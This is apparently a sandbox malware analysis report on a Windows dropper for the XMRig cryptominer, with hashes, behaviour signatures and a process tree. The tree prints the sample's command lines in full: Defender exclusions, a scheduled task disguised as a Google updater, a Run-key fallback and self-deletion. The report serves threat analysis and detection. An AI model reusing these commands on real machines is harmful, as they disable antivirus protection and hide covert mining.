xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
441s
max time network
1797s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2748 created 1352	2748	Y2JYGshMHJGuGREA.exe	6
PID 2748 created 1352	2748	Y2JYGshMHJGuGREA.exe	6
PID 2748 created 1352	2748	Y2JYGshMHJGuGREA.exe	6
PID 2748 created 1352	2748	Y2JYGshMHJGuGREA.exe	6
PID 2064 created 1352	2064	updater.exe	6
PID 2064 created 1352	2064	updater.exe	6
PID 2064 created 1352	2064	updater.exe	6
PID 2064 created 1352	2064	updater.exe	6
PID 1696 created 1352	1696	conhost.exe	6
PID 2064 created 1352	2064	updater.exe	6

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral29/memory/2136-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2136-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2872	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2064	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2536	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral29/memory/2136-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2136-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2064 set thread context of 1696	2064	updater.exe	49
PID 2064 set thread context of 2136	2064	updater.exe	51

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Y2JYGshMHJGuGREA.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2896	schtasks.exe
2804	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1532	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c039a3613f4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2748	Y2JYGshMHJGuGREA.exe
2748	Y2JYGshMHJGuGREA.exe
812	powershell.exe
2748	Y2JYGshMHJGuGREA.exe
2748	Y2JYGshMHJGuGREA.exe
2604	powershell.exe
2748	Y2JYGshMHJGuGREA.exe
2748	Y2JYGshMHJGuGREA.exe
2748	Y2JYGshMHJGuGREA.exe
2748	Y2JYGshMHJGuGREA.exe
2256	powershell.exe
2064	updater.exe
2064	updater.exe
952	powershell.exe
2064	updater.exe
2064	updater.exe
1860	powershell.exe
2064	updater.exe
2064	updater.exe
2064	updater.exe
2064	updater.exe
1696	conhost.exe
1696	conhost.exe
2064	updater.exe
2064	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	2064	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1532	WMIC.exe
Token: SeSecurityPrivilege	1532	WMIC.exe
Token: SeTakeOwnershipPrivilege	1532	WMIC.exe
Token: SeLoadDriverPrivilege	1532	WMIC.exe
Token: SeSystemtimePrivilege	1532	WMIC.exe
Token: SeBackupPrivilege	1532	WMIC.exe
Token: SeRestorePrivilege	1532	WMIC.exe
Token: SeShutdownPrivilege	1532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1532	WMIC.exe
Token: SeUndockPrivilege	1532	WMIC.exe
Token: SeManageVolumePrivilege	1532	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1532	WMIC.exe
Token: SeSecurityPrivilege	1532	WMIC.exe
Token: SeTakeOwnershipPrivilege	1532	WMIC.exe
Token: SeLoadDriverPrivilege	1532	WMIC.exe
Token: SeSystemtimePrivilege	1532	WMIC.exe
Token: SeBackupPrivilege	1532	WMIC.exe
Token: SeRestorePrivilege	1532	WMIC.exe
Token: SeShutdownPrivilege	1532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1532	WMIC.exe
Token: SeUndockPrivilege	1532	WMIC.exe
Token: SeManageVolumePrivilege	1532	WMIC.exe
Token: SeLockMemoryPrivilege	2136	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2896	2604	powershell.exe	32
PID 2604 wrote to memory of 2896	2604	powershell.exe	32
PID 2604 wrote to memory of 2896	2604	powershell.exe	32
PID 2872 wrote to memory of 2624	2872	cmd.exe	33
PID 2872 wrote to memory of 2624	2872	cmd.exe	33
PID 2872 wrote to memory of 2624	2872	cmd.exe	33
PID 2256 wrote to memory of 2504	2256	powershell.exe	37
PID 2256 wrote to memory of 2504	2256	powershell.exe	37
PID 2256 wrote to memory of 2504	2256	powershell.exe	37
PID 2536 wrote to memory of 2064	2536	taskeng.exe	35
PID 2536 wrote to memory of 2064	2536	taskeng.exe	35
PID 2536 wrote to memory of 2064	2536	taskeng.exe	35
PID 1860 wrote to memory of 2804	1860	powershell.exe	53
PID 1860 wrote to memory of 2804	1860	powershell.exe	53
PID 1860 wrote to memory of 2804	1860	powershell.exe	53
PID 2064 wrote to memory of 1696	2064	updater.exe	49
PID 1100 wrote to memory of 1532	1100	cmd.exe	52
PID 1100 wrote to memory of 1532	1100	cmd.exe	52
PID 1100 wrote to memory of 1532	1100	cmd.exe	52
PID 2064 wrote to memory of 2136	2064	updater.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1352
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2896
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2804
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1532
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1696
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2624

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\system32\taskeng.exe
taskeng.exe {1F05F5A7-1353-41F2-A981-ACF8292BDF1D} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 246KB
SHA256 276d4845c36da7ad4a3dc593ecb9ac3b9044a04645c81f994555e3a3531d9c5d
MD5 67c8ab685d6c3116e7de0122a4b77ba8
SHA1 40387656aa385657f8324fb519ab93e566169c95
SHA512 af8485c7d7042a3d02122effd5ca126252d38309884b9e24bc2436f40dd9deceafe7664a9eeb2f0ca079ce9cd5361fdea9e0fd8c9ea2114b46d003ba9ebb7801
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kO:rWVi46hyqG2ckwLxgajd0mAVwO
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 55KB
SHA256 5eff08d5576bbf1cafd58d74fddd16d068963f13aee6db4310d24de193cc9eb8
MD5 f8b461479da1e9b64c3462ab4a91295b
SHA1 b20a07d8336f476fe4ea6d97f5b640db7446437c
SHA512 afc9f7c2e0dd09e7072d33337aa725a798968887688a28ec4ce6ac3221a97dfb42ff63ab6db86e694bc30e59785d19fed8138165b9efa418ad67c1978ac66187
SSDEEP 768:w80qZz2da1pk/0RQj8inRh6UZLyj5pLauwYY94E6l+NZoK7FOjxj5UG/wvUBc:L3zCarzIpyj5pLauwYY94E6w/oBKKwUc
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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EOR6WT0LOYVGJE3A8A48.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EOR6WT0LOYVGJE3A8A48.temp
Size 7KB
SHA256 3a3854c0ea9f3c0e48fcbc9bd8fb278259a91f6072bfd3a9ed2a2b5ebd95c5eb
MD5 3aed5c2ee53e425f89b020b9a3e85cef
SHA1 d4a435d0242859a7c7b1a84d136ead72730a68fb
SHA512 112ff6d8636c92def0f51a473d5e03f3362db97e23a741c89db00defd4681c7f0010fd6c19626089cf70972c3b753ed6de8145d4fda9eaa0c6cdf93042a349f8
SSDEEP 96:8+kiCVM8nnqvsqvJCwor+kiCVM8nnqvsEHyqvJCwor9WsRBQHSb7BGXlUVi:rk/TUoCk/TAHnor9rB/b7BGl
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 86KB
SHA256 9c9189cbda33718f54b023f32c79600a7d3465d706dc32614f34c71841436527
MD5 744d3142ff6f4a20eab5b31bd218478d
SHA1 b2cdbad23c9c8efb18feaf3726f37a4a49d30b0e
SHA512 a3037f588c8564bf5930ee00ae60b2599a8c031865d15ea742565191e68a6adcaf71c72f6dd40f50ebd8e3f3194f7542985dced2109e16948c2cebef4d696dac
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUld:L3zjTv46w/ZUFO5TbwWpUt1D9u
MD5 SHA1 SHA512 SSDEEP

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memory/812-9-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/812-11-0x0000000002B00000-0x0000000002B80000-memory.dmp

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memory/812-10-0x0000000002B0B000-0x0000000002B72000-memory.dmp

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memory/812-12-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/812-8-0x0000000002B00000-0x0000000002B80000-memory.dmp

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memory/812-5-0x000000001B490000-0x000000001B772000-memory.dmp

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memory/812-6-0x00000000002B0000-0x00000000002B8000-memory.dmp

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memory/812-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/952-49-0x00000000014A0000-0x0000000001520000-memory.dmp

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memory/952-50-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

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memory/952-45-0x00000000014A0000-0x0000000001520000-memory.dmp

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memory/952-48-0x00000000014A0000-0x0000000001520000-memory.dmp

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memory/952-44-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

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memory/952-47-0x00000000014A0000-0x0000000001520000-memory.dmp

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memory/952-46-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

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memory/1696-68-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1696-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1860-52-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-51-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/1860-55-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-56-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/1860-54-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1860-53-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/2064-63-0x000000013F870000-0x000000013FA81000-memory.dmp

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memory/2064-43-0x000000013F870000-0x000000013FA81000-memory.dmp

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memory/2136-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-137-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-135-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-124-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-122-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-120-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-65-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-64-0x0000000000100000-0x0000000000120000-memory.dmp

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memory/2136-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-66-0x0000000000780000-0x00000000007A0000-memory.dmp

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memory/2136-67-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/2136-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-73-0x00000000007A0000-0x00000000007C0000-memory.dmp

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memory/2136-72-0x0000000000780000-0x00000000007A0000-memory.dmp

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memory/2136-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2136-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2256-33-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/2256-34-0x00000000028F0000-0x0000000002970000-memory.dmp

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memory/2256-35-0x00000000028F4000-0x00000000028F7000-memory.dmp

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memory/2256-37-0x00000000028FB000-0x0000000002962000-memory.dmp

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memory/2256-39-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/2256-38-0x00000000028F0000-0x0000000002970000-memory.dmp

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memory/2256-36-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

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memory/2604-23-0x0000000002AF0000-0x0000000002B70000-memory.dmp

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memory/2604-25-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

